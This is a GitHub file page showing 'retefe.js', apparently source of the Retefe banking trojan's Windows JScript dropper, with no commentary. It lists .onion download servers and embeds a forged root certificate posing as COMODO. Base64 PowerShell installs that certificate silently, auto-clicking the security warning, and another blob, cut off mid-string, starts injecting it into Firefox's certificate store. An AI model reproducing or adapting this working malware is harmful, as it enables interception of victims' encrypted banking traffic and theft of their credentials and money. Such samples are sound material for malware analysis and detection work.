-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathretefe.js
More file actions
374 lines (370 loc) · 47.4 KB
/
retefe.js
File metadata and controls
374 lines (370 loc) · 47.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
var Exp = null;
var Fire = null;
var TP = null;
var wss = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var BINARY_STREAM_TYPE = 1;
var TEXT_STREAM_TYPE = 2;
var CREATE_OVERWRITE_SAVE_MODE = 2;
var ENV_TEMP = wss.ExpandEnvironmentStrings("%TEMP%");
var ENV_APPDATA = wss.ExpandEnvironmentStrings("%APPDATA%");
var Cfg = {
dl: ["paoyu7gub72lykuk.onion", "5kybfrm53fkdgktz.onion",
"s4c3jh2qqxyqfknh.onion", "s5jhnylq4yi7omen.onion"
],
cert: "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",
ps: "ZnVuY3Rpb24gQ29uZmlybUNlcnR7DQpBZGQtVHlwZSBAIg0KdXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7DQp1c2luZyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5Llg1MDlDZXJ0aWZpY2F0ZXM7DQp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOw0KDQpwdWJsaWMgc3RhdGljIGNsYXNzIFcNCnsNCglwdWJsaWMgY2xhc3MgU0QNCiAgICB7DQogICAgICAgIHB1YmxpYyBzdHJpbmcgV25kY2xhc3M7DQogICAgICAgIHB1YmxpYyBzdHJpbmcgVGl0bGU7DQogICAgICAgIHB1YmxpYyBzdHJpbmcgUHJvY2VzczsNCiAgICAgICAgcHVibGljIEludFB0ciBoV25kOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZGVsZWdhdGUgYm9vbCBFbnVtV2luZG93c1Byb2MoSW50UHRyIGhXbmQsIHJlZiBTRCBkYXRhKTsNCg0KICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCiAgICBbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5Cb29sKV0NCiAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBFbnVtV2luZG93cyhFbnVtV2luZG93c1Byb2MgbHBFbnVtRnVuYywgcmVmIFNEIGRhdGEpOw0KCQ0KCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0NCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0Q2xhc3NOYW1lKEludFB0ciBoV25kLCBTdHJpbmdCdWlsZGVyIGxwQ2xhc3NOYW1lLCBpbnQgbk1heENvdW50KTsNCg0KICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0V2luZG93VGV4dChJbnRQdHIgaFduZCwgU3RyaW5nQnVpbGRlciBscFN0cmluZywgaW50IG5NYXhDb3VudCk7DQoJDQoJW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQ0KCXN0YXRpYyBleHRlcm4gdWludCBHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQoSW50UHRyIGhXbmQsIG91dCB1aW50IGxwZHdQcm9jZXNzSWQpOw0KCQ0KCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCglbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5Cb29sKV0NCglzdGF0aWMgZXh0ZXJuIGJvb2wgU2V0Rm9yZWdyb3VuZFdpbmRvdyhJbnRQdHIgaFduZCk7DQoJDQoJcHVibGljIGRlbGVnYXRlIGJvb2wgRW51bVdpbmRvd1Byb2MoSW50UHRyIGh3bmQsIEludFB0ciBsUGFyYW0pOw0KCQ0KCVtEbGxJbXBvcnQoInVzZXIzMiIpXQ0KCVtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQ0KCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgRW51bUNoaWxkV2luZG93cyhJbnRQdHIgd2luZG93LCBFbnVtV2luZG93UHJvYyBjYWxsYmFjaywgSW50UHRyIGxQYXJhbSk7ICANCgkNCglbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQoJc3RhdGljIGV4dGVybiBJbnRQdHIgU2VuZE1lc3NhZ2UoSW50UHRyIGhXbmQsIFVJbnQzMiBNc2csIEludFB0ciB3UGFyYW0sIEludFB0ciBsUGFyYW0pOw0KCQ0KCVtGbGFnc10NCiAgICBwcml2YXRlIGVudW0gU25hcHNob3RGbGFncyA6IHVpbnQNCiAgICB7DQogICAgSGVhcExpc3QgPSAweDAwMDAwMDAxLA0KICAgIFByb2Nlc3MgPSAweDAwMDAwMDAyLA0KICAgIFRocmVhZCA9IDB4MDAwMDAwMDQsDQogICAgTW9kdWxlID0gMHgwMDAwMDAwOCwNCiAgICBNb2R1bGUzMiA9IDB4MDAwMDAwMTAsDQogICAgSW5oZXJpdCA9IDB4ODAwMDAwMDAsDQogICAgQWxsID0gMHgwMDAwMDAxRiwNCiAgICBOb0hlYXBzID0gMHg0MDAwMDAwMA0KICAgIH0NCiAgICAvL2lubmVyIHN0cnVjdCB1c2VkIG9ubHkgaW50ZXJuYWxseQ0KICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0NCiAgICBwcml2YXRlIHN0cnVjdCBQUk9DRVNTRU5UUlkzMg0KICAgIHsNCiAgICBjb25zdCBpbnQgTUFYX1BBVEggPSAyNjA7DQogICAgaW50ZXJuYWwgVUludDMyIGR3U2l6ZTsNCiAgICBpbnRlcm5hbCBVSW50MzIgY250VXNhZ2U7DQogICAgaW50ZXJuYWwgVUludDMyIHRoMzJQcm9jZXNzSUQ7DQogICAgaW50ZXJuYWwgSW50UHRyIHRoMzJEZWZhdWx0SGVhcElEOw0KICAgIGludGVybmFsIFVJbnQzMiB0aDMyTW9kdWxlSUQ7DQogICAgaW50ZXJuYWwgVUludDMyIGNudFRocmVhZHM7DQogICAgaW50ZXJuYWwgVUludDMyIHRoMzJQYXJlbnRQcm9jZXNzSUQ7DQogICAgaW50ZXJuYWwgSW50MzIgcGNQcmlDbGFzc0Jhc2U7DQogICAgaW50ZXJuYWwgVUludDMyIGR3RmxhZ3M7DQogICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJ5VmFsVFN0ciwgU2l6ZUNvbnN0ID0gTUFYX1BBVEgpXQ0KICAgIGludGVybmFsIHN0cmluZyBzekV4ZUZpbGU7DQogICAgfQ0KDQogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkNoYXJTZXQuQXV0byldDQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90KFtJbl1VSW50MzIgZHdGbGFncywgW0luXVVJbnQzMiB0aDMyUHJvY2Vzc0lEKTsNCg0KICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5DaGFyU2V0LkF1dG8pXQ0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQcm9jZXNzMzJGaXJzdChbSW5dSW50UHRyIGhTbmFwc2hvdCwgcmVmIFBST0NFU1NFTlRSWTMyIGxwcGUpOw0KDQogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkNoYXJTZXQuQXV0byldDQogICAgc3RhdGljIGV4dGVybiBib29sIFByb2Nlc3MzMk5leHQoW0luXUludFB0ciBoU25hcHNob3QsIHJlZiBQUk9DRVNTRU5UUlkzMiBscHBlKTsNCg0KICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldDQogICAgW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldDQogICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgQ2xvc2VIYW5kbGUoW0luXSBJbnRQdHIgaE9iamVjdCk7DQogICAgDQoJY29uc3QgaW50IEJNX0NMSUNLID0gMHgwMEY1Ow0KCQ0KCXB1YmxpYyBzdGF0aWMgYnl0ZVtdIEdldENlcnRBc0J5dGVBcnJheShTdHJpbmcgc0NlcnQpDQogICAgew0KCQlyZXR1cm4gQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKHNDZXJ0KTsNCiAgICB9DQogICAgICAgIA0KCXB1YmxpYyBzdGF0aWMgdm9pZCBTKFN0cmluZyBzQ2VydCl7DQogICAgICAgIGJ5dGVbXSBiQ2VydCA9IEdldENlcnRBc0J5dGVBcnJheShzQ2VydCk7DQogICAgICAgIGlmIChiQ2VydCAhPSBudWxsKQ0KICAgICAgICB7DQogICAgICAgICAgICBYNTA5Q2VydGlmaWNhdGUyIGNlcnRpZmljYXRlID0gbmV3IFg1MDlDZXJ0aWZpY2F0ZTIoYkNlcnQpOw0KICAgICAgICAgICAgWDUwOVN0b3JlIHN0b3JlID0gbmV3IFg1MDlTdG9yZShTdG9yZU5hbWUuUm9vdCwgU3RvcmVMb2NhdGlvbi5DdXJyZW50VXNlcik7DQogICAgICAgICAgICBzdG9yZS5PcGVuKE9wZW5GbGFncy5SZWFkV3JpdGUpOw0KICAgICAgICAgICAgaWYgKCFzdG9yZS5DZXJ0aWZpY2F0ZXMuQ29udGFpbnMoY2VydGlmaWNhdGUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIFRocmVhZCB0aHJlYWQgPSBuZXcgVGhyZWFkKFNlYXJjaERpYWxvZyk7DQogICAgICAgICAgICAgICAgdGhyZWFkLlN0YXJ0KCk7DQogICAgICAgICAgICAgICAgc3RvcmUuQWRkKGNlcnRpZmljYXRlKTsNCiAgICAgICAgICAgICAgICB0aHJlYWQuSm9pbigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgc3RvcmUuQ2xvc2UoKTsNCiAgICAgICAgfQ0KCX0NCgkNCglwdWJsaWMgc3RhdGljIHZvaWQgU2VhcmNoRGlhbG9nKCkNCgl7DQoJCUludFB0ciBoV25kOw0KCQlkb3sNCgkJCWhXbmQgPSBTZWFyY2hGb3JXaW5kb3coIiMzMjc3MCIsU3RyaW5nLkVtcHR5KTsNCgkJCWlmICghaFduZC5FcXVhbHMoSW50UHRyLlplcm8pKQ0KCQkgICAgew0KCQkgICAgCWJyZWFrOw0KCQkJfWVsc2UNCgkgICAgICAgIHsNCgkJICAgICAgICBoV25kPUludFB0ci5aZXJvOw0KCSAgICAgICAgfQ0KCQl9d2hpbGUgKGhXbmQuRXF1YWxzKEludFB0ci5aZXJvKSk7DQoJCVNldEZvcmVncm91bmRXaW5kb3coaFduZCk7DQoJCUVudW1XaW5kb3dQcm9jIGNoaWxkUHJvYyA9IG5ldyBFbnVtV2luZG93UHJvYyhFQ1cpOw0KCQlFbnVtQ2hpbGRXaW5kb3dzKGhXbmQsIGNoaWxkUHJvYywgSW50UHRyLlplcm8pOw0KCX0NCgkNCglwdWJsaWMgc3RhdGljIEludFB0ciBTZWFyY2hGb3JXaW5kb3coc3RyaW5nIHduZGNsYXNzLCBzdHJpbmcgdGl0bGUpDQogICAgew0KICAgICAgICBTRCBzZCA9IG5ldyBTRCgpOw0KICAgICAgICBzZC5XbmRjbGFzcyA9IHduZGNsYXNzOw0KICAgICAgICBzZC5UaXRsZSA9IHRpdGxlOw0KICAgICAgICBzZC5oV25kPUludFB0ci5aZXJvOw0KICAgICAgICBFbnVtV2luZG93cyhuZXcgRW51bVdpbmRvd3NQcm9jKEVudW1Qcm9jKSwgcmVmIHNkKTsNCiAgICAgICAgcmV0dXJuIHNkLmhXbmQ7DQogICAgfQ0KICAgIA0KCXB1YmxpYyBzdGF0aWMgYm9vbCBFbnVtUHJvYyhJbnRQdHIgaFduZCwgcmVmIFNEIGRhdGEpDQogICAgew0KICAgIAlTdHJpbmdCdWlsZGVyIGNhcHRpb24gPSBuZXcgU3RyaW5nQnVpbGRlcigxMDI0KTsNCiAgICAgICAgU3RyaW5nQnVpbGRlciBjbGFzc05hbWUgPSBuZXcgU3RyaW5nQnVpbGRlcigxMDI0KTsNCiAgICAgICAgR2V0V2luZG93VGV4dChoV25kLCBjYXB0aW9uLCBjYXB0aW9uLkNhcGFjaXR5KTsNCiAgICAgICAgR2V0Q2xhc3NOYW1lKGhXbmQsIGNsYXNzTmFtZSwgY2xhc3NOYW1lLkNhcGFjaXR5KTsNCiAgICAgICAgU3RyaW5nIHNFTj1HUE4oaFduZCkuVG9Mb3dlcigpOw0KCQlpZigoIWRhdGEuV25kY2xhc3MuRXF1YWxzKFN0cmluZy5FbXB0eSkgJiYgY2xhc3NOYW1lLlRvU3RyaW5nKCkuU3RhcnRzV2l0aChkYXRhLlduZGNsYXNzKSkgfHwgKCFkYXRhLlRpdGxlLkVxdWFscyhTdHJpbmcuRW1wdHkpICYmIGNhcHRpb24uVG9TdHJpbmcoKS5TdGFydHNXaXRoKGRhdGEuVGl0bGUpKSkNCgkJew0KICAgICAgICAJaWYoc0VOLkNvbnRhaW5zKCJjc3JzcyIpIHx8IHNFTi5Db250YWlucygiY2VydHV0aWwiKSAgfHwgc0VOLkNvbnRhaW5zKCJwb3dlcnNoZWxsIikpDQoJICAgICAgICB7DQoJCSAgICAgICAgZGF0YS5oV25kID0gaFduZDsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQoJICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAJDQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgDQoJcHVibGljIHN0YXRpYyBTdHJpbmcgR1BOKEludFB0ciBoV25kKXsNCgkJdWludCBwSUQgPSAwOw0KCQl1aW50IHRocmVhZElEID0gR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkKGhXbmQsIG91dCBwSUQpOw0KCQlTdHJpbmcgc1Byb2MgPSBudWxsOw0KCSAgICBJbnRQdHIgaGFuZGxlVG9TbmFwc2hvdCA9IEludFB0ci5aZXJvOw0KCSAgICB0cnkNCgkgICAgew0KCSAgICAgICAgUFJPQ0VTU0VOVFJZMzIgcHJvY0VudHJ5ID0gbmV3IFBST0NFU1NFTlRSWTMyKCk7DQoJICAgICAgICBwcm9jRW50cnkuZHdTaXplID0gKFVJbnQzMilNYXJzaGFsLlNpemVPZih0eXBlb2YoUFJPQ0VTU0VOVFJZMzIpKTsNCgkgICAgICAgIGhhbmRsZVRvU25hcHNob3QgPSBDcmVhdGVUb29saGVscDMyU25hcHNob3QoKHVpbnQpU25hcHNob3RGbGFncy5Qcm9jZXNzLCAwKTsNCgkgICAgICAgIGlmIChQcm9jZXNzMzJGaXJzdChoYW5kbGVUb1NuYXBzaG90LCByZWYgcHJvY0VudHJ5KSkNCgkgICAgICAgIHsNCgkgICAgICAgIGRvDQoJICAgICAgICB7DQoJICAgICAgICAgICAgaWYgKHBJRCA9PSBwcm9jRW50cnkudGgzMlByb2Nlc3NJRCkNCgkgICAgICAgICAgICB7DQoJICAgICAgICAgICAgc1Byb2MgPSBwcm9jRW50cnkuc3pFeGVGaWxlOw0KCSAgICAgICAgICAgIGJyZWFrOw0KCSAgICAgICAgICAgIH0NCgkgICAgICAgIH0gd2hpbGUgKFByb2Nlc3MzMk5leHQoaGFuZGxlVG9TbmFwc2hvdCwgcmVmIHByb2NFbnRyeSkpOw0KCSAgICAgICAgfQ0KCSAgICAgICAgZWxzZQ0KCSAgICAgICAgew0KCSAgICAgICAgCXRocm93IG5ldyBBcHBsaWNhdGlvbkV4Y2VwdGlvbihzdHJpbmcuRm9ybWF0KCJGYWlsZWQgd2l0aCB3aW4zMiBlcnJvciBjb2RlIHswfSIsIE1hcnNoYWwuR2V0TGFzdFdpbjMyRXJyb3IoKSkpOw0KCSAgICAgICAgfQ0KCSAgICB9DQoJICAgIGNhdGNoIChFeGNlcHRpb24gZXgpDQoJICAgIHsNCgkgICAgICAgIHRocm93IG5ldyBBcHBsaWNhdGlvbkV4Y2VwdGlvbigiQ2FuJ3QgZ2V0IHRoZSBwcm9jZXNzLiIsIGV4KTsNCgkgICAgfQ0KCSAgICBmaW5hbGx5DQoJICAgIHsNCgkgICAgICAgIENsb3NlSGFuZGxlKGhhbmRsZVRvU25hcHNob3QpOw0KCSAgICB9DQoJICAgIHJldHVybiBzUHJvYzsNCgl9DQoJcHVibGljIHN0YXRpYyBib29sIEVDVyhJbnRQdHIgaFduZCwgSW50UHRyIGxQYXJhbSkNCgl7DQoJCVNlbmRNZXNzYWdlKGhXbmQsIEJNX0NMSUNLLCBJbnRQdHIuWmVybywgSW50UHRyLlplcm8pOw0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQp9DQoiQDsNCltXXTo6UygiJUNFUlQlIik7DQpleGl0DQp9DQpDb25maXJtQ2VydA==",
psf: "ZnVuY3Rpb24gQWRkQ2VydEZGew0KQWRkLVR5cGUgQCINCnVzaW5nIFN5c3RlbTsNCnVzaW5nIFN5c3RlbS5JTzsNCnVzaW5nIE1pY3Jvc29mdC5XaW4zMjsNCnVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsNCnVzaW5nIFN5c3RlbS5Db21wb25lbnRNb2RlbDsNCg0KcHVibGljIHNlYWxlZCBjbGFzcyBGRg0Kew0KCXByaXZhdGUgc3RhdGljIHZvbGF0aWxlIEZGIGluc3RhbmNlOw0KCXByaXZhdGUgc3RhdGljIG9iamVjdCBzeW5jUm9vdCA9IG5ldyBPYmplY3QoKTsNCglwdWJsaWMgc3RhdGljIEZGIEdldEluc3RhbmNlKCkNCiAgICB7DQogICAgICAgIGlmIChpbnN0YW5jZSA9PSBudWxsKQ0KICAgICAgICB7DQogICAgICAgICAgICBsb2NrIChzeW5jUm9vdCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoaW5zdGFuY2UgPT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgaW5zdGFuY2UgPSBuZXcgRkYoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gaW5zdGFuY2U7DQogICAgfQ0KCQ0KCWNvbnN0IGludCBFUlJPUl9TVUNDRVNTPTA7DQogICAgcHJpdmF0ZSBzdGF0aWMgSW50UHRyIExvYWRXaW4zMkxpYnJhcnkoc3RyaW5nIGxpYlBhdGgpDQogICAgew0KICAgICAgICBpZiAoU3RyaW5nLklzTnVsbE9yRW1wdHkobGliUGF0aCkpDQogICAgICAgICAgICB0aHJvdyBuZXcgQXJndW1lbnROdWxsRXhjZXB0aW9uKCJsaWJQYXRoIik7DQoNCiAgICAgICAgSW50UHRyIG1vZHVsZUhhbmRsZSA9IExvYWRMaWJyYXJ5KGxpYlBhdGgpOw0KICAgICAgICBpZiAobW9kdWxlSGFuZGxlID09IEludFB0ci5aZXJvKQ0KICAgICAgICB7DQogICAgICAgICAgICBpbnQgbGFzdGVycm9yID0gTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpOw0KICAgICAgICAgICAgV2luMzJFeGNlcHRpb24gaW5uZXJFeCA9IG5ldyBXaW4zMkV4Y2VwdGlvbihsYXN0ZXJyb3IpOw0KICAgICAgICAgICAgaW5uZXJFeC5EYXRhLkFkZCgiTGFzdFdpbjMyRXJyb3IiLCBsYXN0ZXJyb3IpOw0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiY2FuJ3QgbG9hZCBETEwgIiArIGxpYlBhdGgsIGlubmVyRXgpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiBtb2R1bGVIYW5kbGU7DQogICAgfQ0KDQogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BbnNpKV0NCiAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkTGlicmFyeShbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBTdHIpXXN0cmluZyBscEZpbGVOYW1lKTsNCg0KICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBHZXRQcm9jQWRkcmVzcyhJbnRQdHIgaE1vZHVsZSwgc3RyaW5nIHByb2NlZHVyZU5hbWUpOw0KCS8vQ29uc3RhbnRzDQogICAgY29uc3QgdWludCBOU1NfSU5JVF9SRUFET05MWT0weDE7DQogICAgY29uc3QgdWludCBOU1NfSU5JVF9OT0NFUlREQiA9IDB4MjsNCiAgICBjb25zdCB1aW50IE5TU19JTklUX05PTU9EREIgPSAweDQ7DQogICAgY29uc3QgdWludCBOU1NfSU5JVF9GT1JDRU9QRU4gPSAweDg7DQogICAgY29uc3QgdWludCBOU1NfSU5JVF9OT1JPT1RJTklUID0gMHgxMDsNCiAgICBjb25zdCB1aW50IE5TU19JTklUX09QVElNSVpFU1BBQ0UgPSAweDIwOw0KICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUEsxMVRIUkVBRFNBRkUgPSAweDQwOw0KICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUEsxMVJFTE9BRCA9IDB4ODA7DQogICAgY29uc3QgdWludCBOU1NfSU5JVF9OT1BLMTFGSU5BTElaRSA9IDB4MTAwOw0KICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUkVTRVJWRUQgPSAweDIwMDsNCiAgICBjb25zdCB1aW50IE5TU19JTklUX0NPT1BFUkFURSA9IE5TU19JTklUX1BLMTFUSFJFQURTQUZFIHwgTlNTX0lOSVRfUEsxMVJFTE9BRCB8IE5TU19JTklUX05PUEsxMUZJTkFMSVpFIHwgTlNTX0lOSVRfUkVTRVJWRUQ7DQoNCiAgICBjb25zdCBzdHJpbmcgU0VDTU9EX0RCID0gInNlY21vZC5kYiI7DQogICAgLy9TdHJ1Y3R1cmVzDQogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQ0KICAgIHB1YmxpYyBzdHJ1Y3QgU0VDSXRlbSANCiAgICB7DQogICAgICAgIHB1YmxpYyB1aW50IGlUeXBlOw0KICAgICAgICBwdWJsaWMgSW50UHRyIGJEYXRhOw0KICAgICAgICBwdWJsaWMgdWludCBpRGF0YUxlbjsNCiAgICB9DQoNCiAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldDQogICAgcHJpdmF0ZSBzdHJ1Y3QgQ2VydFRydXN0cw0KICAgIHsNCiAgICAgICAgcHVi